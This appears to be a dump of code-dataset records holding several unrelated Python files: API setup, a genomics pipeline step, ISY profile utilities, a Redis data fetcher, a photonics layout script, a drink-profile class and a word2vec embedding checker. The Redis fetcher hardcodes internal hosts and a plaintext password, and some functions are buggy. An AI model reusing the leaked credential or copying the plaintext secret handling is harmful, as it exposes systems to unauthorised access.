**kwargs))\n\n ctx = axonapi.Connect(\n url=AX_URL,\n key=AX_KEY,\n secret=AX_SECRET,\n certwarn=False,\n cert_client_both=AX_CLIENT_CERT_BOTH,\n cert_client_cert=AX_CLIENT_CERT_CERT,\n cert_client_key=AX_CLIENT_CERT_KEY,\n log_level_console=\"debug\",\n log_level_api=\"debug\",\n log_console=True,\n )\n\n ctx.start()\n\n devices = ctx.devices\n users = ctx.users\n adapters = ctx.adapters\n enforcements = ctx.enforcements\n system = ctx.system\n","sub_path":"axonshell_manual.py","file_name":"axonshell_manual.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"350565549","text":"import sys\nfrom abstract_step import *\nimport copy\nimport csv\nimport glob\nimport os\nimport re\nimport yaml\n\nclass RawFileSources(AbstractSourceStep):\n\n '''\n The RawFileSources class acts as a tyemporary fix to get files into the pipeline.\n This source creates a run for every sample.\n\n Specify a file name pattern in *pattern* and define how sample names should be\n determined from file names by specifyign a regular expression in *group*.\n\n\n '''\n\n def __init__(self, pipeline):\n super(RawFileSources, self).__init__(pipeline)\n self.add_connection('out/raws')\n\n self.add_option('pattern', str,\n description = \"A file name pattern, for example \"\n \"``/home/test/fastq/Sample_*.fastq.gz``.\")\n\n self.add_option('group', str,\n description = \"A regular expression which is applied to found files, and which is \"\n \"used to determine the sample name from the file name. For example, \"\n \"``(Sample_\\d+)_R[12].fastq.gz``, when applied to a file called \"\n \"``Sample_1_R1.fastq.gz``, would result in a sample name of ``Sample_1``. \"\n \"You can specify multiple capture groups in the regular expression.\")\n\n self.add_option('paired_end', bool, description = \"Specify whether the samples are paired end or not.\")\n\n\n self.add_option('sample_id_prefix', str, optional = True,\n description = \"This optional prefix is prepended to every sample name.\")\n\n def declare_runs(self):\n regex = re.compile(self.get_option('group'))\n\n found_files = dict()\n\n # find files\n for path in glob.glob(os.path.abspath(self.get_option('pattern'))):\n match = regex.match(os.path.basename(path))\n if match == None:\n raise StandardError(\"Couldn't match regex /%s/ to file %s.\" % (self.get_option('group'), os.path.basename(path)))\n\n sample_id_parts = []\n if self.is_option_set_in_config('sample_id_prefix'):\n sample_id_parts.append(self.get_option('sample_id_prefix'))\n\n sample_id_parts += list(match.groups())\n sample_id = '_'.join(sample_id_parts)\n if not sample_id in found_files:\n found_files[sample_id] = list()\n found_files[sample_id].append(path)\n\n # declare a run for every sample\n for run_id, paths in found_files.items():\n with self.declare_run(run_id) as run:\n run.add_public_info(\"paired_end\", self.get_option(\"paired_end\"))\n for path in paths:\n run.add_output_file(\"raws\", path, [])\n\n\n\n","sub_path":"include/sources/raw_file_sources.py","file_name":"raw_file_sources.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"253004969","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport zipfile\n\npfx = \"mk_profile:\"\n\nVERSION_FILE = \"profile/version.txt\"\n\n\ndef update_version(logger):\n sd = get_server_data(logger)\n if sd is False:\n logger.error(\"Unable to complete without server data...\")\n return False\n\n # Update the profile version file with the info from server.json\n with open(VERSION_FILE, 'w') as outfile:\n outfile.write(sd['profile_version'])\n outfile.close()\n\n logger.info(pfx + \" done.\")\n\n\ndef profile_zip(logger):\n src = 'profile'\n abs_src = os.path.abspath(src)\n with zipfile.ZipFile('profile.zip', 'w') as zf:\n for dirname, subdirs, files in os.walk(src):\n # Ignore dirs starint with a dot, stupid .AppleDouble...\n if not \"/.\" in dirname:\n for filename in files:\n if filename.endswith('.xml') or filename.endswith('txt'):\n absname = os.path.abspath(os.path.join(dirname, filename))\n arcname = absname[len(abs_src) + 1:]\n logger.info('profile_zip: %s as %s' %\n (os.path.join(dirname, filename), arcname))\n zf.write(absname, arcname)\n zf.close()\n\n\ndef get_server_data(logger):\n # Read the SERVER info from the json.\n try:\n with open('server.json') as data:\n serverdata = json.load(data)\n except Exception as err:\n logger.error('get_server_data: failed to read {0}: {1}'.format('server.json',err), exc_info=True)\n return False\n data.close()\n # Get the version info\n try:\n version = serverdata['credits'][0]['version']\n except (KeyError, ValueError):\n logger.info('Version not found in server.json.')\n version = '0.0.0.0'\n # Split version into two floats.\n sv = version.split(\".\");\n v1 = 0;\n v2 = 0;\n if len(sv) == 1:\n v1 = int(v1[0])\n elif len(sv) > 1:\n v1 = float(\"%s.%s\" % (sv[0],str(sv[1])))\n if len(sv) == 3:\n v2 = int(sv[2])\n else:\n v2 = float(\"%s.%s\" % (sv[2],str(sv[3])))\n serverdata['version'] = version\n serverdata['version_major'] = v1\n serverdata['version_minor'] = v2\n return serverdata\n","sub_path":"rm_functions/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"288007699","text":"#coding=utf-8\nfrom rediscluster import StrictRedisCluster\nimport redis\nimport time\nimport datetime\n\ndef get_list(date):\n r = redis.Redis(host='10.200.131.27', port=6000, password='kji93tzs')\n key_prefix = 'headline_fresh_video_'\n all_video = set()\n filepath = '../normal_knn/jobs/data/video/video_list_' + date\n fw = open(filepath, 'w')\n key = key_prefix + date\n result = r.smembers(key)\n for i in result:\n if i not in all_video:\n all_video.add(i)\n fw.write(i + '\\n')\n fw.close()\n return all_video\n\ndef get_video_data(date):\n video_keys = get_list(date)\n redis_nodes = [{'host':'10.200.131.32','port':6101},{'host':'10.200.131.31','port':6102},{'host':'10.200.131.27','port':6101},{'host':'10.200.131.28','port':6102}]\n r = StrictRedisCluster(startup_nodes=redis_nodes)\n filepath = '../normal_knn/jobs/data/video/video_data_' + date\n fw = open(filepath, 'w')\n key_prefix = 'headline_'\n for v_key in video_keys:\n key = key_prefix + v_key\n video = r.get(key)\n if isinstance(video, basestring):\n fw.write(video + '\\n')\n fw.close()\n\ndef get_last_n_date(n):\n date_list = []\n now_time = datetime.datetime.now()\n for i in range(n-1):\n delta = -1 - i\n i_time = now_time + datetime.timedelta(days=delta)\n i_date = i_time.strftime('%Y%m%d')\n date_list.append(i_date)\n return date_list\n\nif __name__=='__main__':\n date_list = get_last_n_date(180)\n date_list = ['20170513', '20170514']\n for date in date_list:\n get_video_data(date)\n","sub_path":"doc_related_videos/get_data/get_video_file.py","file_name":"get_video_file.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"639627750","text":"#%% import dependencies\ncd_siepic = r\"C:\\Users\\mhammood\\Documents\\GitHub\\SiEPIC-Tools2\\klayout_dot_config\\python\"\ncd_pdk = r\"C:\\Users\\mhammood\\Documents\\GitHub\\SiEPIC-Tools2\\klayout_dot_config\\tech\\GSiP\"\npdk = 'GSiP'\n\nlayer_Si220 = 'Si'\nlayer_floorplan = 'FloorPlan'\nlayer_text = 'Text'\n#%% initialize imports\nimport sys, os\nsys.path.append(cd_siepic); sys.path.append(cd_pdk)\n\ntry:\n import pya\nexcept ImportError:\n import klayout.db as pya\n\nfrom pya import Box, Trans, CellInstArray, Point, DPoint, Path, DPath\n\nsys.path.append(cd_pdk+r\"\\pymacros\")\nfrom GSiP_Library import *\nGSiP()\nfrom SiEPIC.utils import arc_xy, get_technology_by_name\nfrom siepic_tools.utils.tech import Tech\nlib = get_technology_by_name(pdk, cd_pdk)\n#%%create layout\nly = pya.Layout()\ndbu = ly.dbu = 0.001\ncell_top = ly.create_cell(\"Top\")\nly.prune_subcells(cell_top.cell_index(), 1000)\n\n#%%Define Layer mapping and floor plan\nLayerSiN = ly.layer(lib[layer_Si220])\nfpLayerN = cell_top.layout().layer(lib[layer_floorplan])\nTextLayerN = cell_top.layout().layer(lib[layer_text])\n# Draw the floor plan\nly_height = 350\nly_width = 600\ncell_top.shapes(fpLayerN).insert(Box(0,0, ly_width/dbu, ly_height/dbu))\n\n#%%Import Grating couplers\nGC_imported = ly.create_cell(\"Grating_Coupler_13deg_TE_1550_Oxide\", pdk).cell_index()\nGC_pitch = 127\nt = Trans(Trans.R0, 0.5*ly_width/dbu, (0.5*ly_height-GC_pitch/2)/dbu)\ncell_top.insert(CellInstArray(GC_imported, t, DPoint(0,GC_pitch).to_itype(dbu), Point(0,0), 2, 1))\n\n#%%draw waveguide connecting grating couplers\npath = [[0.5*ly_width,0.5*ly_height-GC_pitch/2]] # start point\npath.append([0.5*ly_width+50,0.5*ly_height-GC_pitch/2])\npath.append([0.5*ly_width+50, 0.5*ly_height+GC_pitch/2])\npath.append([0.5*ly_width,0.5*ly_height+GC_pitch/2]) # end point\npath = DPath([DPoint(each[0], each[1]) for each in path],0.5)\npath = path.to_itype(dbu)\npts = path.get_points()\n\nwidths = [0.5]\nlayers = ['Waveguide']\noffset = [0]\nradius = 15\n\nfrom siepic_tools.utils.layout import layout_waveguide2\nlayout_waveguide2(lib, ly, cell_top, layers, widths, offset, pts, radius, False,0)\n\ncd_save = r\"C:\\Users\\mhammood\\Documents\\GitHub\\SiEPIC-Tools2\\Examples\\script_layouts\\gc_shunt\"\nos.chdir(cd_save)\nly.write(\"gc_shunt.gds\")\n\n# %%\n","sub_path":"Examples/script_layouts/gc_shunt/gc_shunt.py","file_name":"gc_shunt.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"647679099","text":"#!/usr/bin/env python3\n\"\"\"\nProgrammer: Chris Blanks\nLast Edited: 1/12/2019\nProject: Automated Self-Serving System\nPurpose: This script defines the Drink Class.\n\nNote:\n - The current code can only handle JPGs, so have to make it capable of more\n file types if the user will eventually be able to pull images from google images\n - Possible additions:\n *a pop up window that displays current drink profiles and related ingredients\n *a method for retrieving images from url (or really from anywhere)\n\"\"\"\n\nimport os\nimport pathlib\nimport shutil\n\n\nclass DrinkProfile:\n \n def __init__(self,drink_txt_file_path = None,main_directory=None):\n if main_directory == None:\n self.MAIN_DIRECTORY_PATH = \"\"\n else:\n self.MAIN_DIRECTORY_PATH = main_directory \n self.DRINK_PROFILE_DIRECTORY = self.MAIN_DIRECTORY_PATH +\"/resources/drink_profiles\"\n self.CONFIG_FILE_PATH = self.MAIN_DIRECTORY_PATH + \"/resources/system_info/config.txt\"\n\n self.drink_txt_file = drink_txt_file_path\n self.pic_extension = None\n self.isNewDrink = False\n \n #drink attributes that can be set by GUI\n self.id_number = None\n self.name = None\n self.ingredients = None\n self.pic_location = None\n self.isUrl = \"False\"\n self.isActive = \"1\"\n self.price = 0.0\n \n \"\"\"\n Note on self.edited_attributes:\n Changes in the values of this attribute will mean that the new value\n will replace the previous value in the text file for the drink profile.\n Each index corresponds to the drink attributes declared above in descending\n order, so index 0 is id_number and index 7 is price of the drinks\n \"\"\"\n self.edited_attributes = [0,0,0,0,0,0,0]\n \n self.checkIfNew()\n\n\n def checkIfNew(self):\n \"\"\"Checks to see if the drink object is a new drink option. If new then the isNewDrink boolean will be True\n until the instance's attributes are defined and the createDrinkProfile method is called on the instance.S\"\"\"\n if self.drink_txt_file == None:\n self.isNewDrink = True\n else:\n self.getDrinkProfile()\n\n\n def getDrinkProfile(self):\n \"\"\"Retrieves drink profile information from a subdirectory\"\"\"\n isNewPath = False\n lines = []\n \n with open(self.drink_txt_file,'r+',encoding=\"ISO-8859-1\") as file:\n line_count = 1\n for line in file:\n line = line.encode('utf8').decode('iso-8859-1')\n if line_count == 1:\n self.id_number = line.split()[1]\n if line_count == 2:\n self.name = line.split()[1].replace('_',' ')\n if line_count == 3:\n ingredient_list = line.split()\n self.ingredients = ingredient_list[1:len(ingredient_list)]\n if line_count == 4:\n pic_path = line.split()[1]\n paths = pic_path.split(\"/\")\n cur_dir_paths = (self.MAIN_DIRECTORY_PATH).split(\"/\")\n path_check_indx = len(cur_dir_paths)-1 #resources directory should always be longer\n if paths[:path_check_indx] == cur_dir_paths[:path_check_indx]:\n self.pic_location = line.split()[1] #same beginning path, so keep\n else:\n print(\"Paths seem to be different.\")\n if \".jpg\" in pic_path:\n self.pic_location = (self.drink_txt_file).replace(\".txt\",\".jpg\")\n isNewPath = True\n \n \n if line_count == 5:\n self.isUrl = line.split()[1]\n if line_count == 6:\n self.isActive = line.split()[1]\n if line_count == 7:\n self.price = line.split()[1]\n\n line_count += 1\n lines.append(line)\n if self.isUrl == \"False\":\n self.pic_extension = os.path.splitext(self.pic_location)[1]\n #if paths don't match up, rewrite old one\n if isNewPath == True:\n lines[3] = \"picture_location \" + self.pic_location + \"\\n\"\n with open(self.drink_txt_file,'w',encoding=\"ISO-8859-1\") as file:\n file.writelines(lines)\n\n\n def createDrinkProfile(self,desired_pic_path=None):\n \"\"\"Creates a new drink profile in the designated directory.\n *Functions as a callback for a GUI element after the instance's attributes are populated.\n *Drinks are by default active until changed to inactive in GUI.\"\"\"\n\n self.drink_profile_path = self.DRINK_PROFILE_DIRECTORY + \"/\" + self.name\n self.pic_location = self.drink_profile_path + \"/\" + self.name + self.pic_extension\n pathlib.Path(self.drink_profile_path).mkdir(exist_ok = True)\n os.chdir(self.drink_profile_path)\n \n new_name = self.name +\".txt\"\n with open(new_name,\"w\",encoding=\"ISO-8859-1\") as new_text_file :\n new_text_file.write(\"id_number \" + self.id_number+\"\\n\")\n new_text_file.write(\"name \" + self.name+\"\\n\")\n new_text_file.write(\"ingredients \" + self.ingredients+\"\\n\")\n new_text_file.write(\"picture_location \" + self.pic_location+\"\\n\")\n new_text_file.write(\"isUrl \" + str(self.isUrl)+\"\\n\")\n new_text_file.write(\"isActive \" + self.isActive+\"\\n\")\n new_text_file.write(\"Price \"+str(self.price)+ \"\\n\")\n \n if self.isUrl != \"False\":\n print(\"Somehow the impossible happened?\")\n print(self.isURL)\n pass #grab pic from url\n else:\n if desired_pic_path == None:\n pass \n elif os.path.exists(desired_pic_path):\n try:\n shutil.copyfile(desired_pic_path,self.pic_location)\n except IOError as e:\n print(\"Unable to copy file. %s\" %e)\n else:\n print(\"Desired path does not exist.\")\n \n self.isNewDrink = False\n \n os.chdir(self.MAIN_DIRECTORY_PATH)\n\n \n def editDrinkProfile(self):\n \"\"\"Edits an existing drink profile with the value change that was packed into the instance's\n edited_attributes attribute.\"\"\"\n attrib_indx = 0\n changes = []\n for attrib_change in self.edited_attributes:\n print(attrib_change)\n if attrib_change == 0:\n pass\n else:\n changes.append((attrib_indx + 1,attrib_change)) #attrib_indx must match line number\n attrib_indx +=1\n\n self.changeValuesInTextFile(changes) \n\n #reset edited_attributes\n for i in range(len(self.edited_attributes)):\n self.edited_attributes[i] = 0\n\n\n def changeValuesInTextFile(self,changes):\n \"\"\"Takes a tuple as input. The first parameter is the row number, and the second parameter\n is the new value.\"\"\"\n with open(self.drink_txt_file,'r+',encoding=\"ISO-8859-1\") as file:\n lines = file.read().splitlines()\n file.seek(0)\n \n line_headers = [\"id_number \",\"name \",\"ingredients \",\"picture_location \", \"isUrl \",\"isActive \",\"Price \"]\n line_count = 1\n for line in lines:\n for i in range(len(changes)):\n if line_count == changes[i][0]:\n line = line_headers[line_count - 1]+str(changes[i][1])\n print(line)\n if changes[i][0] == 4:\n self.acquireDesiredPic(changes[i][1]) #change picture\n file.write(line+\"\\n\")\n line_count +=1\n\n\n \n def deleteDrinkProfile(self):\n \"\"\"Deletes an existing drink profile \"\"\"\n self.name = (self.name).replace(' ','_')\n \n drink_profile_path = self.DRINK_PROFILE_DIRECTORY + \"/\" + self.name\n pic_location = drink_profile_path + \"/\" + self.name + self.pic_extension\n txt_file = drink_profile_path + \"/\" + self.name + \".txt\"\n \n os.remove(txt_file)\n os.remove(pic_location)\n os.rmdir(drink_profile_path)\n\n \n def addDrinkToConfig(self, path= None):\n \"\"\"Adds a drink to the configuration file for the main application if it is new.\"\"\"\n if path == None:\n path = self.CONFIG_FILE_PATH\n with open(path,\"r+\",encoding=\"ISO-8859-1\") as f:\n lines = f.read().splitlines()\n f.seek(0)\n \n line_number = 1\n for line in lines:\n if line_number == 2:\n occurences_indx = []\n start = 0\n while True:\n index_new = line.find(self.name,start)\n if index_new == -1:\n break\n start = index_new + len(self.name)\n occurences_indx.append(index_new)\n if not occurences_indx:\n line = line +\" \"+ self.name\n else:\n isNotARepeat = True\n for sub_indx in occurences_indx:\n if line.endswith(self.name) or line[ sub_indx + len(self.name)] == \" \":\n isNotARepeat = False\n if isNotARepeat:\n line = line +\" \"+ self.name + \" \"\n \n f.write(line+\"\\n\") #overwrites existing content\n line_number += 1\n\n\n def acquireDesiredPic(self,desired_pic_path):\n \"\"\"Acquires the desired pic and sets the pic_location attribute of the drink object.\"\"\"\n\n if \".jpg\" in desired_pic_path:\n self.pic_extension = \".jpg\" #setup extension\n elif \"png\" in desired_pic_path :\n self.pic_extension = \".png\" #setup extension\n\n if \" \" in self.name:\n self.name = (self.name).replace(\" \",\"_\")\n \n self.drink_profile_path = self.DRINK_PROFILE_DIRECTORY + \"/\" + self.name\n self.pic_location = self.drink_profile_path + \"/\" + self.name + self.pic_extension\n if desired_pic_path == self.pic_location:\n pass #nothing to change\n else:\n shutil.copyfile(desired_pic_path,self.pic_location)\n \n \n \n\n### Functions for testing DrinkProfile class' robustness\n\ndef testExistingDrink():\n \"\"\"Tests viewing the attributes of an existing drink profile.\"\"\"\n test_drink = DrinkProfile(self.DRINK_PROFILE_DIRECTORY+\"/cuba_libre/cuba_libre.txt\")\n\n print(test_drink.name,\"\\nId:\",test_drink.id_number,\"\\n\",test_drink.ingredients)\n print(test_drink.pic_location,\"\\n\",test_drink.isUrl,\"\\n\",test_drink.pic_extension)\n print(test_drink.price)\n\n\ndef testNewDrink():\n \"\"\"Tests creating a drink profile.\"\"\"\n test_drink2 = DrinkProfile()\n test_drink2.name = \"test_drink_2\"\n test_drink2.id_number = \"24\"\n test_drink2.ingredients = \"stuff ingredients nothing really\"\n test_drink2.isUrl = \"False\"\n test_drink2.pic_extension = \".jpg\"\n test_drink2.price = 5.99\n\n test_drink2.createDrinkProfile(\"/home/pi/Pictures/drink.jpg\") \n\n\ndef testAddingDrinkToConfig():\n \"\"\"Tests adding a drink name to the config file for the system.\"\"\"\n test_drink3 = DrinkProfile()\n test_drink3.name = \"vodka\"\n test_drink3.id_number = \"25\"\n test_drink3.ingredients = \"stuff ingredients nothing really\"\n test_drink3.isUrl = \"False\"\n test_drink3.pic_extension = \".jpg\"\n\n test_drink3.addDrinkToConfig(\"config_copy.txt\")\n\n\ndef testDeletingADrinkProfile():\n \"\"\"Tests deleting a drink profile.\"\"\"\n test_drink4 = DrinkProfile(self.DRINK_PROFILE_DIRECTORY+\"/Test_drink_2/test_drink_2.txt\")\n test_drink4.deleteDrinkProfile()\n\n\ndef testEditDrinkProfile():\n \"\"\"Tests editing a drink profile.\"\"\"\n test_drink5 = DrinkProfile(self.DRINK_PROFILE_DIRECTORY+\"/Test_drink_2/test_drink_2.txt\")\n test_drink5.id_number = \"100\"\n test_drink5.isActive = \"0\"\n test_drink5.price = 4.05\n \n test_drink5.edited_attributes[0] = test_drink5.id_number\n test_drink5.edited_attributes[6] = test_drink5.isActive\n test_drink5.edited_attributes[7] = test_drink5.price\n test_drink5.editDrinkProfile()\n print(test_drink5.edited_attributes)\n \n\nif __name__ == \"__main__\":\n #testExistingDrink()\n #testNewDrink()\n #testAddingDrinkToConfig()\n #testDeletingADrinkProfile()\n #testEditDrinkProfile()\n pass\n","sub_path":"build/lib/AutomatedDrinkDispensingSystem/DrinkProfile.py","file_name":"DrinkProfile.py","file_ext":"py","file_size_in_byte":12714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"576327137","text":"new_table='icons/new_table.png'\nopen_table='icons/open_table.png'\ndump_table='icons/dump_table.png'\nclose_table='icons/close_table.png'\nexit_application='icons/exit.png'\nadd_expense='icons/add_expense.png'\ngrouped_by_months='icons/grouped_by_months.png'\ngrouped_by_categories='icons/grouped_by_categories2_64p.png'\nlogin_required='icons/login_required3.png'\nlogin_successful='icons/login_successful3.png'","sub_path":"icon_paths.py","file_name":"icon_paths.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"563728275","text":"import torch\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\n\nfrom model import SkipGramModel,TimestampedSkipGramModel\nfrom data_reader import DataReader, Word2vecDataset,TimestampledWord2vecDataset\nimport json\n\nimport os\nimport argparse\nimport pickle\nimport numpy as np\n# from scipy.spatial import distance\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.manifold import TSNE\nfrom matplotlib import pyplot as plt\nfrom sys import platform\nif platform != \"darwin\":\n plt.switch_backend('agg')\n\n\n#coca 0 29 1990 - 2019\n#coha 0 199 1810 2009\n#arxiv 0 352 2007.4 - 2020.4\n# nyt 1987- 2007\n# nyt_yao 1986 - 2015\n\nyear_mapping = {\n # \"coha.txt.raw.token.decade-output\": ([(i-1810)//10 for i in range(1810, 2020, 10)],[str(i)+\"s\" for i in range(1810, 2020, 10)]),\n # \"coca.txt.raw.token.decade-output\": ([(i-1990)//10 for i in range(1990, 2020, 10)],[str(i)+\"s\" for i in range(1990, 2020, 10)]),\n # \"coca.txt.raw.token-output\": ([i-1990 for i in range(1990, 2020, 1)],[str(i) for i in range(1990, 2020, 1)]),\n # \"coha.txt.raw.token-output\": ([i-1810 for i in range(1810, 2009, 1)],[str(i) for i in range(1810, 2009, 1)]),\n # \"arxiv.txt.raw.token-output\": ([i for i in range(0, 352, 1)],[\"{}-{}\".format( i//12 +1991, i%12+1 ) for i in range(0, 352, 1)]) ,\n # \"nyt.txt.norm-output\": ([i-1987 for i in range(1987, 2007, 1)],[str(i) for i in range(1987, 2007, 1)]),\n # \"nyt_yao.txt-output\": ([i-1986 for i in range(1986, 2015, 1)],[str(i) for i in range(1986, 2015, 1)]),\n \"newsit.txt.norm-output\": ([i-2007 for i in range(2007, 2019, 1)],[str(i) for i in range(2007, 2019, 1)]),\n \"repubblica.txt.norm-output\": ([i-1984 for i in range(1984, 2019, 1)],[str(i) for i in range(1984, 2019, 1)]),\n\n}\n\n\n\n\n#word_sin word_cos word_mixed word_linear word_mixed_fixed\nparser = argparse.ArgumentParser(description='parameter information')\nparser.add_argument('--time_type', dest='time_type', type=str,default= \"word_mixed\", help='sin cos mixed others linear, sin, word_sin,word_cos,word_linear')\nparser.add_argument('--text', dest='text', type=str,default= \"coha.txt.train\", help='text dataset')\nparser.add_argument('--use_time', dest='use_time', default= 1, type=int, help='use_time or not')\nparser.add_argument('--output', dest='output', default= \"coha\" , type=str, help='output dir to save embeddings')\nparser.add_argument('--log_step', dest='log_step', default= 100 , type=int, help='log_step')\nparser.add_argument('--from_scatch', dest='from_scatch', default= 1 , type=int, help='from_scatch or not')\nparser.add_argument('--batch_size', dest='batch_size', default= 128, type=int, help='batch_size')\nparser.add_argument('--emb_dimension', dest='emb_dimension', default= 50 , type=int, help='emb_dimension')\nparser.add_argument('--add_phase_shift', dest='add_phase_shift', default= 0, type=int, help='add_phase_shift')\nparser.add_argument('--verbose', dest='verbose', default= 0, type=int, help='verbose')\nparser.add_argument('--lr', dest='lr', default= 0.01, type=float, help='learning rate')\nparser.add_argument('--do_eval', dest='do_eval', default= 1, type=int, help='verbose')\nparser.add_argument('--iterations', dest='iterations', default= 2, type=int, help='iterations')\nparser.add_argument('--years', dest='years', default= 30, type=int, help='years')\nparser.add_argument('--weight_decay', dest='weight_decay', default= 0, type=float, help='weight_decay')\nparser.add_argument('--time_scale', dest='time_scale', default= 1, type=int, help='time_scale')\nparser.add_argument('--min_count', dest='min_count', default= 25, type=int, help='min_count')\nparser.add_argument('--window_size', dest='window_size', default= 5, type=int, help='window_size')\n\nargs = parser.parse_args()\n\n\n\n\nif not torch.cuda.is_available():\n args.verbose = 1\n\n\n\nimport numpy as np\nimport heapq\nimport scipy \n\ndef keep_top(arr,k=3): \n smallest = heapq.nlargest(k, arr)[-1] # find the top 3 and use the smallest as cut off\n arr[arr < smallest] = 0 # replace anything lower than the cut off with 0\n return arr\n\n\ndef read_embeddings_from_file(file_name):\n embedding_dict = dict()\n with open(file_name,encoding=\"utf-8\") as f:\n for i,line in enumerate(f):\n if i==0:\n vocab_size,emb_dimension = [int(item) for item in line.split()]\n # embeddings= np.zeros([vocab_size,emb_dimension])\n else:\n tokens = line.split()\n word, vector = tokens[0], [float(num_str) for num_str in tokens[1:]]\n embedding_dict[word] = vector\n return embedding_dict\n\n\n\n\nclass Word2VecChecker:\n def __init__(self,path = \"output\",time_type = \"word_sin\"):\n # for time_type in os.listdir(path):\n # if \".DS_Store\" in time_type:\n # continue\n self.path = path\n subpath = os.path.join(path,time_type)\n if args.add_phase_shift:\n subpath += \"_shift\"\n if not os.path.exists(os.path.join(subpath,\"vectors.txt\")):\n print(\"cannot find vectors.txt in {}, try to find {}-th iteration\".format(subpath,args.iterations))\n subpath = os.path.join(subpath,str(args.iterations-1))\n if not os.path.exists(subpath):\n print(\"cannot load model from {}\".format(subpath))\n return\n self.embedding_dict = read_embeddings_from_file(os.path.join(subpath,\"vectors.txt\"))\n if args.use_time and \"word2vec\" not in time_type:\n self.skip_gram_model = TimestampedSkipGramModel(len(self.embedding_dict), args.emb_dimension,time_type = time_type, add_phase_shift=args.add_phase_shift) \n else:\n self.skip_gram_model = SkipGramModel(len(self.embedding_dict), args.emb_dimension)\n \n self.id2word = pickle.load(open(os.path.join(subpath, \"dict.pkl\"),\"rb\"))\n self.skip_gram_model.load_embeddings(self.id2word,subpath)\n\n\n\n\n # print(embeddings)\n def get_similar_words(self,words,year,k=3,word2id=None):\n if word2id is None:\n word2id = {value:key for key,value in self.id2word.items()}\n embeddings_vectors = self.get_embedding_in_a_year(self.embedding_dict.keys(),word2id=word2id,year =year)\n \n # embeddings_vectors = np.array( [vector for word,vector in embeddings])\n # all_words = [word for word,vector in embeddings]\n not_found_words = [word for word in words if word not in word2id]\n if len(not_found_words) > 0:\n print(\"do not find {}\".format(\" \".join(not_found_words)) )\n words_index = [word2id[word] for word in words if word in word2id]\n # print(words_index)\n\n selected_vectors = np.array( [embeddings_vectors[word] for word in words_index])\n \n a = np.dot(selected_vectors,embeddings_vectors.T)#/np.norm()\n # a = cosine_similarity(selected_vectors,embeddings_vectors)\n \n top_k = a.argsort()[:,-1*k:]#[::-1]\n # top_k = np.partition(a, -3)\n # print(top_k.shape)\n # print(top_k)\n\n words_str = [ \" \".join([self.id2word[word] for word in top_k_per_word[::-1]]) for top_k_per_word in top_k ]\n return words_str\n\n # ranks = np.argsort(a,axis = 0)\n # print(ranks.argmax(0))\n # print(a.squeeze())\n # print(a.squeeze().argmax())\n # print(a.argmax(1))\n # print(a)\n # exit()\n def word_change_rate(self,words, years = 30):\n vectors = []\n for year in range(years):\n word2id = {value:key for key,value in self.id2word.items()}\n embeddings_vectors = self.get_embedding_in_a_year(self.embedding_dict.keys(),word2id=word2id,year =year)\n \n # embeddings_vectors = np.array( [vector for word,vector in embeddings])\n # all_words = [word for word,vector in embeddings]\n\n words_index = [word2id[word] for word in words]\n # print(words_index)\n\n selected_vectors = np.array( [embeddings_vectors[word] for word in words_index])\n vectors.append(selected_vectors)\n \n \n for j in range(len(words)):\n change_rates = []\n for year in range(years):\n if year ==0 :\n cur_vector = vectors[year][j]\n else:\n \n # change_rate = np.dot(cur_vector,vectors[year][j])\n change_rate = scipy.spatial.distance.cosine(cur_vector,vectors[year][j])\n cur_vector = vectors[year][j]\n change_rates. append(change_rate)\n print(words[j],np.mean(np.array(change_rates)))\n print(change_rates)\n \n\n return\n\n def plot_words_in_many_years(self,words= None, years = [i for i in range(1977,2020,1)],word2id=None,name=\"image\"):\n if words is None:\n words = [\"president\" , \"reagan\", \"trump\", \"biden\", \"obama\",\"bush\",\"carter\",\"clinton\", \"ford\", \"nixon\"]\n # words = [\"weapon\" , \"nuclear\", \"energy\"]\n if word2id is None:\n word2id = {value:key for key,value in self.id2word.items()}\n vectors = []\n names = []\n for year in years:\n names.extend([\"{}-{}\".format(word,year) for word in words])\n embeddings = self.get_embedding_in_a_year(words,year,word2id)\n vectors.extend(embeddings)\n embed = TSNE(n_components=2).fit_transform(vectors)\n # print(embed.shape)\n\n plt.figure(figsize = (12,12))\n # from adjustText import adjust_text \n texts = []\n for i,point in enumerate(embed):\n plt.scatter(point[0],point[1],label =names[i])\n texts.append(plt.text(point[0],point[1], names[i],size =7))\n # plt.plot(embed[:,0],embed[:,1],names)\n\n # adjust_text(texts)\n # plt.legend()\n if platform == \"win32\":\n plt.show()\n else:\n plt.savefig(\"president-{}.pdf\".format(name),bbox_inches = \"tight\",pad_inches=0)\n plt.close()\n # plt.show()\n\n def get_sim_between_year(self,target,words= None,years = [i for i in range(1940,2020,1)], word2id= None,name = \"nuclear\"):\n name += \"-\"+target+\"_\".join(words)\n sims = []\n words.append(target)\n \n for year in years:\n embeddings = self.get_embedding_in_a_year(words,year)\n sim = cosine_similarity(embeddings[-1][np.newaxis,:],embeddings[:-1]).squeeze()\n # print(sim.shape)\n sims.append(sim)\n sims = np.array(sims)\n plt.figure(figsize = (10,10))\n for i in range(len(sims[0])):\n plt.plot(years,sims[:,i],label = words[i])\n plt.legend(loc='upper left')\n if platform == \"darwin_none\":\n plt.show()\n else:\n plt.savefig(\"{}.pdf\".format(name),bbox_inches = \"tight\",pad_inches=0)\n plt.close()\n \n\n\n def check_ssd(self,helper):\n\n from scipy.spatial.distance import cosine # cosine distance\n\n words = helper.words\n time_stamped_embeddings = []\n for timespan in helper.timespans:\n all_embeddings = [self.get_embedding_in_a_year(words, year) for year in timespan ]\n mean_embedding = 